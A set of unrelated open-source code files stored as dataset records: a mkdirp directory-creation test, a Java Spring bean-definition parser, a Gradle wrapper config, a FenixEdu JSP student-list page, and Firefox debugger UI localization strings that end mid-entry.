numberWithInt:value]];\n}\n\n@end\n\n"} {"text": "var mkdirp = require('../');\nvar path = require('path');\nvar fs = require('fs');\nvar exists = fs.exists || path.exists;\nvar test = require('tap').test;\nvar _0777 = parseInt('0777', 8);\nvar _0755 = parseInt('0755', 8);\n\ntest('rel', function (t) {\n t.plan(5);\n var x = Math.floor(Math.random() * Math.pow(16,4)).toString(16);\n var y = Math.floor(Math.random() * Math.pow(16,4)).toString(16);\n var z = Math.floor(Math.random() * Math.pow(16,4)).toString(16);\n \n var cwd = process.cwd();\n process.chdir('/tmp');\n \n var file = [x,y,z].join('/');\n \n mkdirp(file, _0755, function (err) {\n t.ifError(err);\n exists(file, function (ex) {\n t.ok(ex, 'file created');\n fs.stat(file, function (err, stat) {\n t.ifError(err);\n process.chdir(cwd);\n t.equal(stat.mode & _0777, _0755);\n t.ok(stat.isDirectory(), 'target not a directory');\n })\n })\n });\n});\n"} {"text": "/*\r\n * Copyright (c) 2002-2012 Alibaba Group Holding Limited.\r\n * All rights reserved.\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n * http://www.apache.org/licenses/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n */\r\n\r\npackage com.alibaba.citrus.springext.support.parser;\r\n\r\nimport com.alibaba.citrus.springext.support.parser.NamedBeanDefinitionParserMixin.DefaultNameBDParser;\r\nimport org.springframework.beans.factory.config.BeanDefinitionHolder;\r\nimport org.springframework.beans.factory.support.AbstractBeanDefinition;\r\nimport org.springframework.beans.factory.support.BeanDefinitionRegistry;\r\nimport org.springframework.beans.factory.xml.ParserContext;\r\nimport org.w3c.dom.Element;\r\n\r\n/**\r\n * 定义一个bean definition,如果未指定id,则使用<code>getDefaultName()</code>所返回的默认名称。\r\n * <p>\r\n * 注意,此名称生成机制只对顶级bean有效,对innerBean仍然使用原有的命名机制。\r\n * </p>\r\n *\r\n * @author Michael Zhou\r\n */\r\npublic abstract class AbstractNamedBeanDefinitionParser<T> extends AbstractSingleBeanDefinitionParser<T> implements\r\n DefaultNameBDParser {\r\n private final NamedBeanDefinitionParserMixin mixin = new NamedBeanDefinitionParserMixin(this);\r\n\r\n /**\r\n * 取得bean的默认名称。\r\n * <p>\r\n * 可以注册多个默认名,以逗号或空格分开。第二名名称及其后的名称,将被注册成别名。\r\n * </p>\r\n */\r\n protected abstract String getDefaultName();\r\n\r\n /** 从id attribute中取得bean name,假如未指定,则从<code>getDefaultName()</code>中取得默认名。 */\r\n @Override\r\n protected final String resolveId(Element element, AbstractBeanDefinition definition, ParserContext parserContext) {\r\n return mixin.resolveId(element, definition, parserContext);\r\n }\r\n\r\n /** 假如当前bean name为默认名,则同时注册默认的aliases。 */\r\n @Override\r\n protected void registerBeanDefinition(BeanDefinitionHolder definition, BeanDefinitionRegistry registry) {\r\n mixin.registerBeanDefinition(definition, registry);\r\n }\r\n\r\n public final String internal_getDefaultName() {\r\n return getDefaultName();\r\n }\r\n\r\n public void super_registerBeanDefinition(BeanDefinitionHolder definition, BeanDefinitionRegistry registry) {\r\n super.registerBeanDefinition(definition, registry);\r\n }\r\n}\r\n"} {"text": "#Thu Apr 16 22:08:05 KST 2020\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-5.6.4-all.zip\n"} {"text": "<%--\n\n Copyright © 2002 Instituto Superior Técnico\n\n This file is part of FenixEdu Academic.\n\n FenixEdu Academic is free software: you can redistribute it and/or modify\n it under the terms of the GNU Lesser General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n FenixEdu Academic is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public License\n along with FenixEdu Academic. If not, see <http://www.gnu.org/licenses/>.\n\n--%>\n<%@ page isELIgnored=\"true\"%>\n<%@ taglib uri=\"http://struts.apache.org/tags-html\" prefix=\"html\"%>\n<%@ taglib uri=\"http://struts.apache.org/tags-bean\" prefix=\"bean\"%>\n<%@ taglib uri=\"http://struts.apache.org/tags-logic\" prefix=\"logic\"%>\n<%@ taglib uri=\"http://fenix-ashes.ist.utl.pt/fenix-renderers\" prefix=\"fr\"%>\n<%@page import=\"org.fenixedu.academic.domain.ExecutionYear\"%>\n<html:xhtml />\n\n<h2>\n\t<bean:message key=\"label.studentsListByCurricularCourse\" bundle=\"ACADEMIC_OFFICE_RESOURCES\" />\n</h2>\n\n<html:messages id=\"message\" message=\"true\" bundle=\"ACADEMIC_OFFICE_RESOURCES\">\n\t<p>\n\t\t<span class=\"error0\"> <!-- Error messages go here --> <bean:write name=\"message\" />\n\t\t</span>\n\t</p>\n</html:messages>\n\n<fr:form action=\"/studentsListByCurricularCourse.do?method=showActiveCurricularCourseScope\">\n\t<fr:edit id=\"searchBean\" name=\"searchBean\">\n\t\t<fr:schema\n\t\t\ttype=\"org.fenixedu.academic.dto.academicAdministration.SearchStudentsByCurricularCourseParametersBean\"\n\t\t\tbundle=\"ACADEMIC_OFFICE_RESOURCES\">\n\t\t\t<fr:slot name=\"executionYear\" key=\"label.executionYear\" layout=\"menu-select-postback\" required=\"true\">\n\t\t\t\t<fr:property name=\"providerClass\"\n\t\t\t\t\tvalue=\"org.fenixedu.academic.ui.renderers.providers.OpenExecutionYearsProvider\" />\n\t\t\t\t<fr:property name=\"format\" value=\"${year}\" />\n\t\t\t\t<fr:property name=\"destination\" value=\"executionYearPostBack\" />\n\t\t\t</fr:slot>\n\t\t\t<fr:slot name=\"degreeCurricularPlan\" key=\"label.degreeCurricularPlan\" layout=\"menu-select\" required=\"true\">\n\t\t\t\t<fr:property name=\"from\" value=\"availableDegreeCurricularPlans\" />\n\t\t\t\t<fr:property name=\"format\" value=\"${degree.degreeType.name.content} - ${degree.name} - ${name}\" />\n\t\t\t</fr:slot>\n\t\t</fr:schema>\n\t\t<fr:destination name=\"executionYearPostBack\"\n\t\t\tpath=\"/studentsListByCurricularCourse.do?method=chooseExecutionYearPostBack\" />\n\t\t<fr:destination name=\"invalid\" path=\"/studentsListByCurricularCourse.do?method=prepareByCurricularCourse\" />\n\t\t<fr:layout name=\"tabular\">\n\t\t\t<fr:property name=\"classes\" value=\"tstyle5 thlight thright mtop025 thmiddle\" />\n\t\t\t<fr:property name=\"columnClasses\" value=\",,tdclear tderror1\" />\n\t\t</fr:layout>\n\t</fr:edit>\n\n\t<html:submit>\n\t\t<bean:message key=\"button.search\" bundle=\"ACADEMIC_OFFICE_RESOURCES\" />\n\t</html:submit>\n</fr:form>\n\n<br />\n<logic:present name=\"searchBean\" property=\"executionYear\">\n\t<html:link action=\"/studentsListByCurricularCourse.do?method=downloadStatistics\" paramId=\"executionYearId\"\n\t\tparamName=\"searchBean\" paramProperty=\"executionYear.externalId\">\n\t\t<html:img border=\"0\" src='<%=request.getContextPath() + \"/images/excel.gif\"%>' altKey=\"excel\" bundle=\"IMAGE_RESOURCES\" />\n\t\t<bean:message bundle=\"ACADEMIC_OFFICE_RESOURCES\" key=\"link.download.statistics\" />\n\t</html:link>\n</logic:present>\n\n<logic:present name=\"degreeModuleScopes\">\n\n\t<bean:define id=\"executionYear\" name=\"searchBean\" property=\"executionYear.externalId\" />\n\n\t<table class=\"tstyle1 thleft thlight\">\n\t\t<%\n\t\t int semester = 0;\n\t\t%>\n\t\t<logic:iterate id=\"degreeModuleScope\" name=\"degreeModuleScopes\">\n\t\t\t<bean:define id=\"semesterI\" type=\"java.lang.Integer\" name=\"degreeModuleScope\" property=\"curricularSemester\" />\n\t\t\t<%\n\t\t\t if (semester != semesterI.intValue()) {\n\t\t\t\t\t\tsemester = semesterI.intValue();\n\t\t\t%>\n\t\t\t<tr>\n\t\t\t\t<th><bean:message key=\"label.curricularCourseScope.curricularYear\" bundle=\"CURRICULUM_HISTORIC_RESOURCES\" /></th>\n\t\t\t\t<th><bean:message key=\"label.curricularCourseScope.curricularSemester\" bundle=\"CURRICULUM_HISTORIC_RESOURCES\" />\n\t\t\t\t</th>\n\t\t\t\t<th><bean:message key=\"label.curricularCourse\" bundle=\"CURRICULUM_HISTORIC_RESOURCES\" /></th>\n\t\t\t\t<th><bean:message key=\"label.curricularCourseScope.branch\" bundle=\"CURRICULUM_HISTORIC_RESOURCES\" /></th>\n\t\t\t</tr>\n\t\t\t<%\n\t\t\t }\n\t\t\t%>\n\t\t\t<tr>\n\t\t\t\t<td class=\"acenter\"><bean:write name=\"degreeModuleScope\" property=\"curricularYear\" /></td>\n\t\t\t\t<td class=\"acenter\"><bean:write name=\"degreeModuleScope\" property=\"curricularSemester\" /></td>\n\t\t\t\t<td style=\"text-align: left\"><bean:define id=\"curricularCourseCode\" name=\"degreeModuleScope\"\n\t\t\t\t\t\tproperty=\"curricularCourse.externalId\" /> <bean:define id=\"currentSemester\" name=\"degreeModuleScope\"\n\t\t\t\t\t\tproperty=\"curricularSemester\" /> <bean:define id=\"currentYear\" name=\"degreeModuleScope\" property=\"curricularYear\" />\n\t\t\t\t\t<html:link\n\t\t\t\t\t\tpage=\"<%=\"/studentsListByCurricularCourse.do?method=searchByCurricularCourse&amp;curricularCourseCode=\"\n\t\t\t\t+ curricularCourseCode + \"&amp;semester=\"\n\t\t\t\t+ pageContext.findAttribute(\"currentSemester\").toString() + \"&amp;year=\"\n\t\t\t\t+ pageContext.findAttribute(\"currentYear\").toString() + \"&amp;executionYearID=\"\n\t\t\t\t+ pageContext.findAttribute(\"executionYear\").toString()%>\">\n\t\t\t\t\t\t<bean:write name=\"degreeModuleScope\" property=\"curricularCourse.name\" />\n\t\t\t\t\t</html:link></td>\n\t\t\t\t<td><bean:write name=\"degreeModuleScope\" property=\"branch\" /></td>\n\t\t\t</tr>\n\t\t</logic:iterate>\n\t</table>\n\n</logic:present>\n"} {"text": "# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n# LOCALIZATION NOTE These strings are used inside the Debugger\n# which is available from the Web Developer sub-menu -> 'Debugger'.\n# The correct localization of this file might be to keep it in\n# English, or another language commonly spoken among web developers.\n# You want to make that choice consistent across the developer tools.\n# A good criteria is the language in which you'd find the best\n# documentation on web development on the web.\n\n# LOCALIZATION NOTE (collapsePanes): This is the tooltip for the button\n# that collapses the left and right panes in the debugger UI.\ncollapsePanes=Collapse panes\n\n# LOCALIZATION NOTE (copySourceUrl): This is the text that appears in the\n# context menu to copy the source URL of file open.\ncopySourceUrl=Copy Source Url\n\n# LOCALIZATION NOTE (copySourceUrl.accesskey): Access key to copy the source URL of a file from\n# the context menu.\ncopySourceUrl.accesskey=u\n\n# LOCALIZATION NOTE (expandPanes): This is the tooltip for the button\n# that expands the left and right panes in the debugger UI.\nexpandPanes=Expand panes\n\n# LOCALIZATION NOTE (pauseButtonTooltip): The tooltip that is displayed for the pause\n# button when the debugger is in a running state.\npauseButtonTooltip=Pause %S\n\n# LOCALIZATION NOTE (pausePendingButtonTooltip): The tooltip that is displayed for\n# the pause button after it's been clicked but before the next JavaScript to run.\npausePendingButtonTooltip=Waiting for next execution\n\n# LOCALIZATION NOTE (resumeButtonTooltip): The label that is displayed on the pause\n# button when the debugger is in a paused state.\nresumeButtonTooltip=Resume %S\n\n# LOCALIZATION NOTE (stepOverTooltip): The label that is displayed on the\n# button that steps over a function call.\nstepOverTooltip=Step Over %S\n\n# LOCALIZATION NOTE (stepInTooltip): The label that is displayed on the\n# button that steps into a function call.\nstepInTooltip=Step In %S\n\n# LOCALIZATION NOTE (stepOutTooltip): The label that is displayed on the\n# button that steps out of a function call.\nstepOutTooltip=Step Out %S\n\n# LOCALIZATION NOTE (noWorkersText): The text to display in the workers list\n# when there are no workers.\nnoWorkersText=This page has no workers.\n\n# LOCALIZATION NOTE (noSourcesText): The text to display in the sources list\n# when there are no sources.\nnoSourcesText=This page has no sources.\n\n# LOCALIZATION NOTE (noEventListenersText): The text to display in the events tab\n# when there are no events.\nnoEventListenersText=No event listeners to display\n\n# LOCALIZATION NOTE (eventListenersHeader): The text to display in the events\n# header.\neventListenersHeader=Event Listeners\n\n# LOCALIZATION NOTE (noStackFramesText): The text to display in the call stack tab\n# when there are no stack frames.\nnoStackFramesText=No stack frames to display\n\n# LOCALIZATION NOTE (eventCheckboxTooltip): The tooltip text to display when\n# the user hovers over the checkbox used to toggle an event breakpoint.\neventCheckboxTooltip=Toggle breaking on this event\n\n# LOCALIZATION NOTE (eventOnSelector): The text to display in the events tab\n# for every event item, between the event type and event selector.\neventOnSelector=on\n\n# LOCALIZATION NOTE (eventInSource): The text to display in the events tab\n# for every event item, between the event selector and listener's owner source.\neventInSource=in\n\n# LOCALIZATION NOTE (eventNodes): The text to display in the events tab when\n# an event is listened on more than one target node.\neventNodes=%S nodes\n\n# LOCALIZATION NOTE (eventNative): The text to display in the events tab when\n# a listener is added from plugins, thus getting translated to native code.\neventNative=[native code]\n\n# LOCALIZATION NOTE (*Events): The text to display in the events tab for\n# each group of sub-level event entries.\nanimationEvents=Animation\naudioEvents=Audio\nbatteryEvents=Battery\nclipboardEvents=Clipboard\ncompositionEvents=Composition\ndeviceEvents=Device\ndisplayEvents=Display\ndragAndDropEvents=Drag and Drop\ngamepadEvents=Gamepad\nindexedDBEvents=IndexedDB\ninteractionEvents=Interaction\nkeyboardEvents=Keyboard\nmediaEvents=HTML5 Media\nmouseEvents=Mouse\nmutationEvents=Mutation\nnavigationEvents=Navigation\npointerLockEvents=Pointer Lock\nsensorEvents=Sensor\nstorageEvents=Storage\ntimeEvents=Time\ntouchEvents=Touch\notherEvents=Other\n\n# LOCALIZATION NOTE (blackBoxCheckboxTooltip): The tooltip text to display when\n# the user hovers over the checkbox used to toggle black boxing its associated\n# source.\nblackBoxCheckboxTooltip=Toggle black boxing\n\n# LOCALIZATION NOTE (sources.search.key): Key shortcut to open the search for\n# searching all the source files the debugger has seen.\nsources.search.key=P\n\n# LOCALIZATION NOTE (sources.searchAlt.key): Alternate key shortcut to open\n# the search for searching all the source files the debugger has seen.\nsources.searchAlt.key=O\n\n# LOCALIZATION NOTE (sourceSearch.search.key): Key shortcut to open the search\n# for searching within a the currently opened files in the editor\nsourceSearch.search.key=F\n\n# LOCALIZATION NOTE (sourceSearch.search.placeholder): placeholder text in\n# the source search input bar\nsourceSearch.search.placeholder=Search in file…\n\n# LOCALIZATION NOTE (sourceSearch.search.again.key): Key shortcut to re-open\n# the search for re-searching the same search triggered from a sourceSearch\nsourceSearch.search.again.key=G\n\n# LOCALIZATION NOTE (sourceSearch.resultsSummary1): Shows a summary of\n# the number of matches for autocomplete\nsourceSearch.resultsSummary1=%d results\n\n# LOCALIZATION NOTE (noMatchingStringsText): The text to display in the\n# global search results when there are no matching strings after filtering.\nnoMatchingStringsText=No matches found\n\n# LOCALIZATION NOTE (emptySearchText): This is the text that appears in the\n# filter text box when it is empty and the scripts container is selected.\nemptySearchText=Search scripts (%S)\n\n# LOCALIZATION NOTE (emptyVariablesFilterText): This is the text that\n# appears in the filter text box for the variables view container.\nemptyVariablesFilterText=Filter variables\n\n# LOCALIZATION NOTE (emptyPropertiesFilterText): This is the text that\n# appears in the filter text box for the editor's variables view bubble.\nemptyPropertiesFilterText=Filter properties\n\n# LOCALIZATION NOTE (searchPanelFilter): This is the text that appears in the\n# filter panel popup for the filter scripts operation.\nsearchPanelFilter=Filter scripts (%S)\n\n# LOCALIZATION NOTE (searchPanelGlobal): This is the text that appears in the\n# filter panel popup for the global search operation.\nsearchPanelGlobal=Search in all files (%S)\n\n# LOCALIZATION NOTE (searchPanelFunction): This is the text that appears in the\n# filter panel popup for the function search operation.\nsearchPanelFunction=Search for function definition (%S)\n\n# LOCALIZATION NOTE (searchPanelToken): This is the text that appears in the\n# filter panel popup for the token search operation.\nsearchPanelToken=Find in this file (%S)\n\n# LOCALIZATION NOTE (searchPanelGoToLine): This is the text that appears in the\n# filter panel popup for the line search operation.\nsearchPanelGoToLine=Go to line (%S)\n\n# LOCALIZATION NOTE (searchPanelVariable): This is the text that appears in the\n# filter panel popup for the variables search operation.\nsearchPanelVariable=Filter variables (%S)\n\n# LOCALIZATION NOTE (breakpointMenuItem): The text for all the elements that\n# are displayed in the breakpoints menu item popup.\nbreakpointMenuItem.setConditional=Configure conditional breakpoint\nbreakpointMenuItem.enableSelf=Enable breakpoint\nbreakpointMenuItem.disableSelf=Disable breakpoint\nbreakpointMenuItem.deleteSelf=Remove breakpoint\nbreakpointMenuItem.enableOthers=Enable others\nbreakpointMenuItem.disableOthers=Disable others\nbreakpointMenuItem.deleteOthers=Remove others\nbreakpointMenuItem.enableAll=Enable all breakpoints\nbreakpointMenuItem.disableAll=Disable all breakpoints\nbreakpointMenuItem.deleteAll=Remove all breakpoints\n\n# LOCALIZATION NOTE (breakpoints.header): Breakpoints right sidebar pane header.\nbreakpoints.header=Breakpoints\n\n# LOCALIZATION NOTE (breakpoints.none): The text that appears when there are\n# no breakpoints present\nbreakpoints.none=No Breakpoints\n\n# LOCALIZATION NOTE (breakpoints.enable): The text that may appear as a tooltip\n# when hovering over the 'disable breakpoints' switch button in right sidebar\nbreakpoints.enable=Enable Breakpoints\n\n# LOCALIZATION NOTE (breakpoints.disable): The text that may appear as a tooltip\n# when hovering over the 'disable breakpoints' switch button in right sidebar\nbreakpoints.disable=Disable Breakpoints\n\n# LOCALIZATION NOTE (breakpoints.removeBreakpointTooltip): The tooltip that is displayed\n# for remove breakpoint button in right sidebar\nbreakpoints.removeBreakpointTooltip=Remove Breakpoint\n\n# LOCALIZATION NOTE (callStack.header): Call Stack right sidebar pane header.\ncallStack.header=Call Stack\n\n# LOCALIZATION NOTE (callStack.notPaused): Call Stack right sidebar pane\n# message when not paused.\ncallStack.notPaused=Not Paused\n\n# LOCALIZATION NOTE (callStack.collapse): Call Stack right sidebar pane\n# message to hide some of the frames that are shown.\ncallStack.collapse=Collapse Rows\n\n# LOCALIZATION NOTE (callStack.expand): Call Stack right sidebar pane\n# message to show more of the frames.\ncallStack.expand=Expand Rows\n\n# LOCALIZATION NOTE (editor.searchResults): Editor Search bar message\n# for the summarizing the selected search result. e.g. 5 of 10 results.\neditor.searchResults=%d of %d results\n\n# LOCALIZATION NOTE (editor.noResults): Editor Search bar message\n# for when no results found.\neditor.noResults=no results\n\n# LOCALIZATION NOTE (editor.addBreakpoint): Editor gutter context menu item\n# for adding a breakpoint on a line.\neditor.addBreakpoint=Add Breakpoint\n\n# LOCALIZATION NOTE (editor.disableBreakpoint): Editor gutter context menu item\n# for disabling a breakpoint on a line.\neditor.disableBreakpoint=Disable Breakpoint\n\n# LOCALIZATION NOTE (editor.enableBreakpoint): Editor gutter context menu item\n# for enabling a breakpoint on a line.\neditor.enableBreakpoint=Enable Breakpoint\n\n# LOCALIZATION NOTE (editor.removeBreakpoint): Editor gutter context menu item\n# for removing a breakpoint on a line.\neditor.removeBreakpoint=Remove Breakpoint\n\n# LOCALIZATION NOTE (editor.editBreakpoint): Editor gutter context menu item\n# for setting a breakpoint condition on a line.\neditor.editBreakpoint=Edit Breakpoint\n\n# LOCALIZATION NOTE (editor.addConditionalBreakpoint): Editor gutter context\n# menu item for adding a breakpoint condition on a line.\neditor.addConditionalBreakpoint=Add Conditional Breakpoint\n\n# LOCALIZATION NOTE (editor.conditionalPanel.placeholder): Placeholder text for\n# input element inside ConditionalPanel component\neditor.conditionalPanel.placeholder=This breakpoint will pause when the expression is true\n\n# LOCALIZATION NOTE (editor.conditionalPanel.placeholder): Tooltip text for\n# close button inside ConditionalPanel component\neditor.conditionalPanel.close=Cancel edit breakpoint and close\n\n# LOCALIZATION NOTE (editor.jumpToMappedLocation1): Context menu item\n# for navigating to a source mapped location\neditor.jumpToMappedLocation1=Jump to %S location\n\n# LOCALIZATION NOTE (generated): Source Map term for a server source location\ngenerated=generated\n\n# LOCALIZATION NOTE (original): Source Map term for a debugger UI source location\noriginal=original\n\n# LOCALIZATION NOTE (expressions.placeholder): Placeholder text for expression\n# input element\nexpressions.placeholder=Add Watch Expression\n\n# LOCALIZATION NOTE (sourceTabs.closeTab): Editor source tab context menu item\n# for closing the selected tab below the mouse.\nsourceTabs.closeTab=Close tab\n\n# LOCALIZATION NOTE (sourceTabs.closeTab.accesskey): Access key to close the currently select\n# source tab from the editor context menu item.\nsourceTabs.closeTab.accesskey=c\n\n# LOCALIZATION NOTE (sourceTabs.closeOtherTabs): Editor source tab context menu item\n# for closing the other tabs.\nsourceTabs.closeOtherTabs=Close others\n\n# LOCALIZATION NOTE (sourceTabs.closeOtherTabs.accesskey): Access key to close other source tabs\n# from the editor context menu.\nsourceTabs.closeOtherTabs.accesskey=o\n\n# LOCALIZATION NOTE (sourceTabs.closeTabsToEnd): Editor source tab context menu item\n# for closing the tabs to the end (the right for LTR languages) of the selected tab.\nsourceTabs.closeTabsToEnd=Close tabs to the right\n\n# LOCALIZATION NOTE (sourceTabs.closeTabsToEnd.accesskey): Access key to close source tabs\n# after the selected tab from the editor context menu.\nsourceTabs.closeTabsToEnd.accesskey=e\n\n# LOCALIZATION NOTE (sourceTabs.closeAllTabs): Editor source tab context menu item\n# for closing all tabs.\nsourceTabs.closeAllTabs=Close all tabs\n\n# LOCALIZATION NOTE (sourceTabs.closeAllTabs.accesskey): Access key to close all tabs from the\n# editor context menu.\nsourceTabs.closeAllTabs.accesskey=a\n\n# LOCALIZATION NOTE (sourceTabs.revealInTree): Editor source tab context menu item\n# for revealing source in tree.\nsourceTabs.revealInTree=Reveal in Tree\n\n# LOCALIZATION NOTE (sourceTabs.revealInTree.accesskey): Access key to reveal a source in the\n# tree from the context menu.\nsourceTabs.revealInTree.accesskey=r\n\n# LOCALIZATION NOTE (sourceTabs.copyLink): Editor source tab context menu item\n# for copying a link address.\nsourceTabs.copyLink=Copy Link Address\n\n# LOCALIZATION NOTE (sourceTabs.copyLink.accesskey): Access key to copy a link addresss from the\n# editor context menu.\nsourceTabs.copyLink.accesskey=l\n\n# LOCALIZATION NOTE (sourceTabs.prettyPrint): Editor source tab context menu item\n# for pretty printing the source.\nsourceTabs.prettyPrint=Pretty Print Source\n\n# LOCALIZATION NOTE (sourceTabs.prettyPrint.accesskey): Access key to pretty print a source from\n# the editor context menu.\nsourceTabs.prettyPrint.accesskey=p\n\n# LOCALIZATION NOTE (sourceTabs.closeTabButtonTooltip): The tooltip that is displayed\n# for close tab button in source tabs.\nsourceTabs.closeTabButtonTooltip=Close tab\n\n# LOCALIZATION NOTE (sourceTabs.newTabButtonTooltip): The tooltip that is displayed for\n# new tab button in source tabs.\nsourceTabs.newTabButtonTooltip=Search for sources (%S)\n\n# LOCALIZATION NOTE (scopes.header): Scopes right sidebar pane header.\nscopes.header=Scopes\n\n# LOCALIZATION NOTE (scopes.notAvailable): Scopes right sidebar pane message\n# for when the debugger is paused, but there isn't pause data.\nscopes.notAvailable=Scopes Unavailable\n\n# LOCALIZATION NOTE (scopes.notPaused): Scopes right sidebar pane message\n# for when the debugger is not paused.\nscopes.notPaused=Not Paused\n\n# LOCALIZATION NOTE (scopes.block): Refers to a block of code in\n# the scopes pane when the debugger is paused.\nscopes.block=Block\n\n# LOCALIZATION NOTE (sources.header): Sources left sidebar header\nsources.header=Sources\n\n# LOCALIZATION NOTE (sources.search): Sources left sidebar prompt\n# e.g. Cmd+P to search. On a mac, we use the command unicode character.\n# On windows, it's ctrl.\nsources.search=%S to search\n\n# LOCALIZATION NOTE (watchExpressions.header): Watch Expressions right sidebar\n# pane header.\nwatchExpressions.header=Watch Expressions\n\n# LOCALIZATION NOTE (watchExpressions.refreshButton): Watch Expressions header\n# button for refreshing the expressions.\nwatchExpressions.refreshButton=Refresh\n\n# LOCALIZATION NOTE (welcome.search): The center pane welcome panel's\n# search prompt. e.g. cmd+p to search for files. On windows, it's ctrl, on\n# a mac we use the unicode character.\nwelcome.search=%S to search for sources\n\n# LOCALIZATION NOTE (sourceSearch.search): The center pane Source Search\n# prompt for searching for files.\nsourceSearch.search=Search Sources…\n\n# LOCALIZATION NOTE (sourceSearch.search): The center pane Source Search\n# prompt for searching for files.\n# Used in the old debugger fronted\nsourceSearch.search=Search…\n\n# LOCALIZATION NOTE (sourceSearch.noResults): The center pane Source Search\n# message when the query did not match any of the sources.\nsourceSearch.noResults=No files matching %S found\n\n# LOCALIZATION NOTE (sourceFooter.debugBtnTooltip): Tooltip text associated\n# with the pretty-print button\nsourceFooter.debugBtnTooltip=Prettify Source\n\n# LOCALIZATION NOTE (ignoreExceptions): The pause on exceptions button tooltip\n# when the debugger will not pause on exceptions.\nignoreExceptions=Ignore exceptions. Click to pause on uncaught exceptions\n\n# LOCALIZATION NOTE (pauseOnUncaughtExceptions): The pause on exceptions button\n# tooltip when the debugger will pause on uncaught exceptions.\npauseOnUncaughtExceptions=Pause on uncaught exceptions. Click to pause on all exceptions\n\n# LOCALIZATION NOTE (pauseOnExceptions): The pause on exceptions button tooltip\n# when the debugger will pause on all exceptions.\npauseOnExceptions=Pause on all exceptions. Click to ignore exceptions\n\n# LOCALIZATION NOTE (loadingText): The text that is displayed in the script\n# editor when the loading process has started but there is no file to display\n# yet.\nloadingText=Loading\\u2026\n\n# LOCALIZATION NOTE (errorLoadingText2): The text that is displayed in the debugger\n# viewer when there is an error loading a file\nerrorLoadingText2=Error loading this URL: %S\n\n# LOCALIZATION NOTE (addWatchExpressionText): The text that is displayed in the\n# watch expressions list to add a new item.\naddWatchExpressionText=Add watch expression\n\n# LOCALIZATION NOTE (addWatchExpressionButton): The button that is displayed in the\n# variables view popup.\naddWatchExpressionButton=Watch\n\n# LOCALIZATION NOTE (emptyVariablesText): The text that is displayed in the\n# variables pane when there are no variables to display.\nemptyVariablesText=No variables to display\n\n# LOCALIZATION NOTE (scopeLabel): The text that is displayed in the variables\n# pane as a header for each variable scope (e.g. \"Global scope, \"With scope\",\n# etc.).\nscopeLabel=%S scope\n\n# LOCALIZATION NOTE (watchExpressionsScopeLabel): The name of the watch\n# expressions scope. This text is displayed in the variables pane as a header for\n# the watch expressions scope.\nwatchExpressionsScopeLabel=Watch expressions\n\n# LOCALIZATION NOTE (globalScopeLabel): The name of the global scope. This text\n# is added to scopeLabel and displayed in the variables pane as a header for\n# the global scope.\nglobalScopeLabel=Global\n\n# LOCALIZATION NOTE (variablesViewErrorStacktrace): This is the text that is\n# shown before the stack trace in an error.\nvariablesViewErrorStacktrace=Stack trace:\n\n# LOCALIZATION NOTE (variablesViewMoreObjects): the text that is displayed\n# when you have an object preview that does not show all of the elements. At the end of the list\n# you see \"N more...\" in the web console output.\n# This is a semi-colon list of plural forms.\n# See: http://developer.mozilla.org/en/docs/Localization_and_Plurals\n# #1 number of remaining items in the object\n# example: 3 more…\nvariablesViewMoreObjects=#1 more…;#1 more…\n\n# LOCALIZATION NOTE (variablesEditableNameTooltip): The text that is displayed\n# in the variables list on an item with an editable name.\nvariablesEditableNameTooltip=Double click to edit\n\n# LOCALIZATION NOTE (variablesEditableValueTooltip): The text that is displayed\n# in the variables list on an item with an editable value.\nvariablesEditableValueTooltip=Click to change value\n\n# LOCALIZATION NOTE (variablesCloseButtonTooltip): The text that is displayed\n# in the variables list on an item which can be removed.\nvariablesCloseButtonTooltip=Click to remove\n\n# LOCALIZATION NOTE (variablesEditButtonTooltip): The text that is displayed\n# in the variables list on a getter or setter which can be edited.\nvariablesEditButtonTooltip=Click to set value\n\n# LOCALIZATION NOTE (variablesEditableValueTooltip): The text that is displayed\n# in a tooltip on the \"open in inspector\" button in the the variables list for a\n# DOMNode item.\nvariablesDomNodeValueTooltip=Click to select the node in the inspector\n\n# LOCALIZATION NOTE (configurable|...|Tooltip): The text that is displayed\n# in the variables list on certain variables or properties as tooltips.\n# Expanations of what these represent can be found at the following links:\n# https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty\n# https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object/isExtensible\n# https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen\n# https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object/isSealed\n# It's probably best to keep these in English.\nconfigurableTooltip=configurable\nenumerableTooltip=enumerable\nwritableTooltip=writable\nfrozenTooltip=frozen\nsealedTooltip=sealed\nextensibleTooltip=extensible\noverriddenTooltip=overridden\nWebIDLTooltip=WebIDL\n\n# LOCALIZATION NOTE (variablesSeparatorLabel): The text that is displayed\n# in the variables list as a separator between the name and value.\nvariablesSeparatorLabel=:\n\n# LOCALIZATION NOTE (watchExpressionsSeparatorLabel2): The text that is displayed\n# in the watch expressions list as a separator between the code and evaluation.\nwatchExpressionsSeparatorLabel2=\\u0020→\n\n# LOCALIZATION NOTE (functionSearchSeparatorLabel): The text that is displayed\n# in the functions search panel as a separator between function's inferred name\n# and its real name (if available).\nfunctionSearchSeparatorLabel=←\nfunctionSearch.search.placeholder=Search Functions…\nfunctionSearch.search.key=O\n\n# LOCALIZATION NOTE (resumptionOrderPanelTitle): This is the text that appears\n# as a description in the notification panel popup, when multiple debuggers are\n# open in separate tabs and the user tries to resume them in the wrong order.\n# The substitution parameter is the URL of the last paused window that must be\n# resumed 